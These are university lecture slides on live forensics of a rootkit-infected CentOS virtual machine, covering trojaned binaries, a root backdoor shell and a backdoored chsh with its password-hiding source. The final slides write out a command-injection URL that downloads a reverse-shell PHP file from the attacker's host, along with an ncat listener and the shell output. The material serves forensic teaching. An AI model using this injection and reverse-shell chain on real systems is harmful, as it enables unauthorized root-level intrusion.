Embed Size (px)
Citation preview
Michael Sonntag
Institute of Networks and Security
Johannes Kepler University Linz, Austria
Live-Forensik: Rootkit
1
2
Scenario
Investigating an image of a Linux system (CentOS 6.5) infected by a rootkit
We will use live acquisition of data to gather information on this system
— Simulated, i.e. we will produce a local file with the output
• In reality this should be sent by netcat (nc) to a different computer to prevent
modifications of the system under investigation!
We will use various techniques to identify the problem
The virtual machine is a VMWare image
— Can also be opened in Virtualbox
Under /mnt/cdrom there is the script “investigate.sh”
— You can run it (“/mnt/cdrom/investigate.sh >report.txt”)
But we are going to do the same (and some elements more) manually!
4
ATTENTION!
This is part of a real rootkit, however it has been slightly modified
It is part of a very old rootkit, so it is not that good/well hidden and very limited
— Note the differences in output compared to the “real” binaries!
— It has certain limitations which renders it relatively useless on modern systems
BUT:
— It is still a real rootkit
— The source code is NOT available in the image (often it would have been compiled
there, so it might still exist, perhaps only in parts of deleted files)
— The binaries may NEVER be used anywhere else!
This is SOLELY for EDUCATIONAL USE!
5
Elements of good toolkits for live forensics
Minimize system impact
— Don’t copy anything to the disk, binaries as small as possible
Enforce the use of known binaries only
— Make sure that no library from the system investigated is used
Extensive logging and checksums
— Ensuring that no later modification can occur and that verification is possible
No drivers needed for installing ( CD-ROM better than USB!)
— Can be difficult Depends on the system investigated
• If very well secured, this might be difficult (IDS tries to prevent exactly this!)
Copies data directly to another system ( Network/Share or USB)
Not possible: No statically compiled files (too complicated);
use files on CD-ROM image for investigation
Local file (too complicated; see additional scripts for redirection example)
(apart from local log file)
6
Basic information on the image
CentOS 6.5 (=RedHat Enterprise Linux 6.5)
— Basic installation: Minimum GUI, no special applications installed (except
HTTPD/PHP/MYSQL); many things disabled
Two users are available:
— Username “user”, Password “forensics” (Normal user, no special permissions)
— Username “root”, Password “forensics” (Administrator)
• Use this for investigation: many commands won’t work/show anything otherwise!
Keyboard: German
Investigative tools: /mnt/cdrom/bin (needs to be mounted first!)
— Perhaps useful: “export PATH=/mnt/cdrom/bin” to ensure to run only “our” programs
• Note: Libraries will still be loaded from system; the tools are not statically compiled!
The image will be distributed in the class on DVDs/memory stick!
7
Importing the image
Import the image from the DVD / Memory stick / download directory
This image is the “original” system
The forensic tools (not statically compiled; see previous slide) are located on an
“external” “CD-ROM”: Forensics-CD.vdi
Necessary process:
— Import the virtual machine
— Configure the virtual machine to use the
CD image as the second HD (see →)
— Create snapshot (getting back to start)
— Start the virtual machine
— Mount the CD image (as root only!):
“mount /dev/sdb1 /mnt/cdrom -o ro”
8
What we are not investigating here
Copying RAM content
— Difficult to do, investigation is very difficult and out of scope here!
DNS cache
— Not interesting here; problematic because of fixed file location
No recovering deleted files still in use
— The rootkit doesn't use such files
9
Basic information
Generally: Try both commands - from “/mnt/cdrom/bin” as well as from the
system - and compare both results!
Date & time: “date”, “date –u”
— Documenting the start of the investigation (incl. timezone)
System: “hostname”, “uname –a”, “whoami”, “id”
— Where are we? What kind of system is this? Who are we? (Last two not on "CD"!)
Patch level: “rpm –qa”
— Normally very late, as this is unlikely to change during the investigation!
Uptime, logged in users: “w”, “who”
— Are we alone (logins form network!)?
Last logged in users: “last –a –i”
— Including from where they logged in (here not interesting, but in general useful!)
10
Package check
“rpm –Va” will compare all installed files against the packages
— Allows checking whether something has been changed
• Especially regarding the configuration
— Will NOT find any added files (e.g. configuration)!
— Attention: Comparison is against package metadata in local rpm database!
Comparison:
— Size (S), MD5 hash (5)
— Timestamps (T)
— Permissions and type (M)
— Owner (U) and group (G)
— Link (L), Device type (D)
We skip it here; VM+Laptop
takes too long …
Preview of things
to come – you
might recognize
elements later!
11
IP/firewall information
IP addresses: "ip addr"
— Nothing special: localhost, IPv4 connection
IP devices: "ip link" & IP tunnels: "ip tunnel" show the same information as above
— Take note of IP address/subnet Might be necessary for "nc" (not used here)!
Firewall configuration (iptables = standard on Linux)
— "iptables-save":
• Outgoing: No restrictions
• Input and forwarding: A few default rules
• Allowed: Local connections, ICMP (=pinging+…), Port 22 (SSH), Port 80
(Webserver)
• Note: Scenario error - The default policies should be “DROP”!
12
Network information
ARP cache: “ip neigh show”
— Useless here, as this system probably hasn’t connected anywhere
• Note: Updates, software installation … might show some other systems
• Depends also on the kind of network integration of the virtualization environment
Routing table: “ip route show table all”
— Current routes (here not very interesting; includes IPv6 routes although disabled!)
Routing cache: “ip route show cached”
— Previous routes (here not very interesting)
13
Process information
Processes: “ps aux”
— Please take care: Which “ps” are your executing?
• “/mnt/cdrom/bin/ps” or “/bin/ps” ?
— Try both and compare them: What is strange?
• Visual differences? Yes!
• Content differences? Difficult because of the visual differences
• We will come back to this later!
• Count lines: “ps aux | wc –l” and “/mnt/cdrom/bin/ps aux | wc –l”
• But: Perhaps the problem is not “ps” but “wc”? We don’t know yet!
• Which wc did you use ?
• Try “/mnt/cdrom/bin/ps aux | /mnt/cdrom/bin/wc –l”
Anyway, we have found the first strange result!
14
Processes/ports (1)
Listening: “netstat –an |more”
— Several ports are open for listening:
• UDP Port 68: BootP/DHCP (Waiting for info from DHCP server)
• Does seem normal (depends on configuration!)
• “cat /etc/sysconfig/network-scripts/ifcfg-eth0” DHCP is really used/on
• TCP Port 22: SSH server Very common to be open on most systems!
• Especially on commandline systems (otherwise: only console or telnet!)
• Is a SSH server running? “ps aux | grep ssh”
• Yes: /usr/sbin/sshd
• Is this a “real” SSH server (or trojaned Logging entered passwords)?
Who knows, we would have to investigate more and in detail!
• TCP ports 80 (webserver), 3306 (MySQL) Check if installed!
• One high port: Clock applet in Gnome
15
Processes/ports (2)
Also open: Port 12345
— This is a rather strange port: It is above 1024 and so should be a normal application
• But no such application seems to be running?
— What does Google say about port 12345?
• Legitimate: NetBus remote administration tool for Windows
• Often used for trojans, …
— This looks very suspicious!
But: We cannot get any more information out of this listing
— So we keep it in memory and try to find out more!
• Or use "netstat –anp"!
• HTTP Server; but different process ID than the one on port 80
http://www.speedguide.net/port.php?port=12345
16
Open files/ports/…
Showing all kinds of handles: “lsof –nP”
— Attention: Very long output!
So let’ focus a bit: “lsof –nP | grep 12345”
— So this is the HTTP server running there! That looks a bit strange ….
— Check whether such a server is really installed (init scripts/rpm are good starts!)
What else is going on there: “lsof –nP | grep httpd | more”
— Three servers, two running as “root”, the other as “apache”
— The first is running from the executable ”/usr/bin/httpd” and uses solely the C library
(plus the linux loader); the other from “/usr/sbin/httpd” and use a huge list of modules
— First doesn’t have any other files open (try repeatedly) beside StdIn/StdOut/StdErr
— The first one looks “fishy”, the second normal
17
Remote shell
Try telneting there: “telnet localhost 12345” and “GET / HTTP/1.0<Ret>”
— Doesn’t seem to be a webserver …
— Try “ls –al;”
This is a remote shell: If you can telnet there (firewalls!), you can issue any
command, which will be executed as root (who? Try “whoami;”!)
— Note: Must be terminated by “;”, always returns an error message (low quality SW!)
— Exiting the shell: “exit;”
This is the first part of the rootkit!
Try at home: Find out how it is started on boot
— Hint: Check all kinds of init scripts!
Note: Would this really be a problem here (=reachable from outside)?
— Hint: See slides before ("iptables-save"!)
18
Back to ps
Does “ps” show this program?
— “ps aux | grep httpd” No, but it should (at least the other HTTP server!)
Does “/mnt/cdrom/bin/ps” show this program?
— Yes it does (both/all three)!
Result: “/bin/ps” doesn’t work quite all right, it probably was modified (“trojaned”)
— We know that we cannot trust its output any more!
19
Checking file date/time
We know the file “/bin/ps” has been modified - Can we find out the date/time?
Date/times of a file: “stat /bin/ps” (Access omitted from output; always “now”)
— Modify: 15.11.2012 14:53 (compilation date)
— Change: 28.05.2014 17:59 (when the system was installed)
Compare this to the original date/times
• How would we get at this? Install a “new” one in a virtual machine and check!
— Modify: 15.11.2012 14:53
— Change: 28.5.2014 17:59
Result: Same timestamps
— The rootkit installation program changes them to the same values as the original file!
But: /usr/bin/httpd did not exist (there)! So what are the timestamps there?
— 4.11.2011 13:59 Probably the date of the rootkit installation
20
Other information (OS, file system …)
Kernel modules: “lsmod” and packages “rpm –qa”
— Not very interesting here
Mounted file systems: “mount –l”
— Nothing mounted here apart from the system ones
Free space: “df –k”
— Not interesting here
Scheduled jobs: “atq” Nothing to show here
System load: “top –bn 1”
— Note: The “httpd” server is shown here The rootkit doesn’t modify this commands
output!
21
Checking the date of the intrusion
Whet else happened on the system on 4.11.2011 13:59?
One possibility:
/mnt/cdrom/bin/find / -printf “%p;%Cx;%CT\n” | grep “11/04/2011;13:”
— Why not the exact date? We don’t know whether this was the first or last action!
— Too many results we can still narrow it down!
Also changed at about that time (apart from the directories they are in):
— /usr/bin/httpd: We already know them!
— /etc/rc.d/rc.local: That’s new! Find out for yourself what file this is …
— Directory “/rk” + some files in it
• We will come to this again later!
— Some error messages (proc filesystem)
22
/bin/ls: Hidden files
Compare the output from our “find” commando to “ls” for the root directory
— In practice this would be done by producing a full dump and automatic comparison
• “Our” find and the one from the system itself
— Here just use “ls -al /” and “find / -maxdepth 1”
Result: “ls” has been “hacked” as it hides a directory otherwise existing!
— Compare to previous slide – the suspicion there has been confirmed!
There exists the directory “/rk” which shows up in “find” but not in “ls”
— Check out its contents!
23
Rootkit files
Now we find a different date: 3.11.2011 16:40
— This could have been the time of the initial intrusion
— What happened around this time?
• Check similar as before!
Check out the individual files
— Find out what “fix” is for!
• Try “strings fix” for a first view
— Try to identify the content of the “backup” folder
— What is “ptyp” and “ptyr” there for?
• What can we learn from its content?
• These are extremely important files: They show what is hidden!
24
What is “chsh”?
Command to change the current/login shell
— SetUID, modifies /etc/passwd Very high permissions anyway
— Main reason for trojans: If you get in as some user, you can become root through this
• Drawback: You need the root password (NOT in trojaned versions!)
This version has been modified, but how?
— Try “strings chsh |more” Can you see anything interesting?
— No, the interesting parts (i.e. the “secret password”) has been hidden
• Not that well, but good enough for this simple approach
— Try the password (see next slide or the file README) – how is it to be used?
• Enter it instead of a shell name and you receive a root shell
• So to really test it, log in as “user”, check your rights with the command “id”,
“change” your shell, and check your rights again!
25
Rootkit password – Source code
/* ROOTKIT_PASSWORD must be 6 letters due to my lame attempts at string hiding... */
#define ROOTKIT_PASSWORD "rkdemo"
char MAG[6];
strcpy(MAG,"");
MAG[0]=ROOTKIT_PASSWORD[0]; MAG[1]=ROOTKIT_PASSWORD[1];
MAG[2]=ROOTKIT_PASSWORD[2]; MAG[3]=ROOTKIT_PASSWORD[3];
MAG[4]=ROOTKIT_PASSWORD[4]; MAG[5]=ROOTKIT_PASSWORD[5];
MAG[6]='\0';
Password is stored in executable as separate characters
— If you know this, you can see it clearly in the output of “strings chsh” as well!
Practice: Deassembly/Decompilation or Debugging
26
Conclusions (1)
Generally the investigation would be more difficult,
— especially for files:
• Using external tools and producing a log
• Using the internal tools and producing a log
• Comparing those files in a spreadsheet/diff/…
• Find out date/time of files at the time of intrusion (if known …)
— and binaries:
• Install a “new” version in a virtual machine
• Bring it to exactly the same patch level/software
• Compare md5 values of files in both VMs to find out which ones were modified
• Reinstall might be easier!
27
Conclusions (2)
What we didn’t find out:
— How the intrusion took place
• When it took place We have only some hints, but which are quite good
• See slides afterwards for some hints on this!
— What the attacker was after (but: no interesting content here anyway )
— Complete list of changes: Have we really found everything?
• Probably yes, but some parts might also have been hidden better!
Michael Sonntag
Institute of Networks and Security
Johannes Kepler University Linz, Austria
Thank you for your attention!
28
30
Intrusion
There exists a web vulnerability in /var/www/html/bsp5/download.php
— Which is a helper file for streaming data (=a file) to a client
Through this the user (up/down)loaded a file to the server: help.php
— wget <IP of attacked system>/bsp5/download.php?command=c;$(/usr/bin/wget
http://<IP of attacking system>/help.php)
• Note: “$(“ and “)” are necessary, or wget + URL will be seen as a single
command, which can obviously not be found as a file!
— This is a reverse shell (=connect back out)
• Listening on the attacking computer: ncat –v –n –l –p 2222
• Requesting the following URL will trigger it:
http://<IP of attacked system>/bsp5/help.php?ip=<IP of attacking system>
— Through this shell the rest of the attacks could easily have been downloaded,
unpacked, installed etc!
31
Intrusion
Notes for testing:
— Disable windows firewall this is an incoming connection!
— Host-Only network example: PC=192.168.56.101, VM=192.168.56.102
— Requires a web server on the PC with the help.php file for downloading
— URL “retrieved”: http://192.168.56.102/bsp5/help.php?ip=192.168.56.101
Result: — Y:\>ncat -vv -n -l -p 2222
— Ncat: Version 5.59BETA1 ( http://nmap.org/ncat )
— Ncat: Listening on 0.0.0.0:2222
— Ncat: Connection from 192.168.56.102:34742.
— Linux forensics 2.6.32-431.17.1.el6.i686 #1 SMP Wed May 7 20:52:21 UTC 2014 i686
— i686 i386 GNU/Linux
— 13:31:08 up 1:52, 3 users, load average: 6.64, 6.51, 4.66
— USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
— user tty1 :0 12:33 1:52m 13.78s 0.02s pam: gdm-passwo
— user pts/0 :0.0 12:56 2:13 20:07 2.42s gnome-terminal
— user pts/1 :0.0 13:06 7:31 0.03s 2.42s gnome-terminal
— uid=48(apache) gid=48(apache) groups=48(apache)
— sh: no job control in this shell
— ←[?1034hsh-4.1$
32
Intrusion
Detection of the intrusion:
— Web log /var/log/httpd/access_log:
• 127.0.0.1 - - [03/Nov/2011:16:30:03 +0200] "GET
/bsp5/download.php?command=c HTTP/1.0" 200 - "-" "Wget/1.12 (linux-gnu)"
• Note: The second part of the command (after “;”) is not logged!
• 127.0.0.1 - - [03/Nov/2011:16:39:15 +0200] "GET
/bsp5/help.php?ip=192.168.56.101 HTTP/1.0" 200 84 "-" "Wget/1.12 (linux-gnu
• Note: Here we get the IP address of the attacker!
— If the attacker had deleted these, it would have been impossible to find
• Apart from detecting the vulnerability or finding the file “help.php”
Still missing: Escalation of how to get from “apache” to “root” to be able to install
the rootkit!
33
Timeline
File /var/www/html/bsp5/help.php created: 3.11.2011 16:30:03
Download of rootkit : 3.11.2011 16:39:15
Rootkit installation (=unzip/copy there) time: 3.11.2011 16:40:25
Rootkit files installed: 4.11.2011 13:59:32
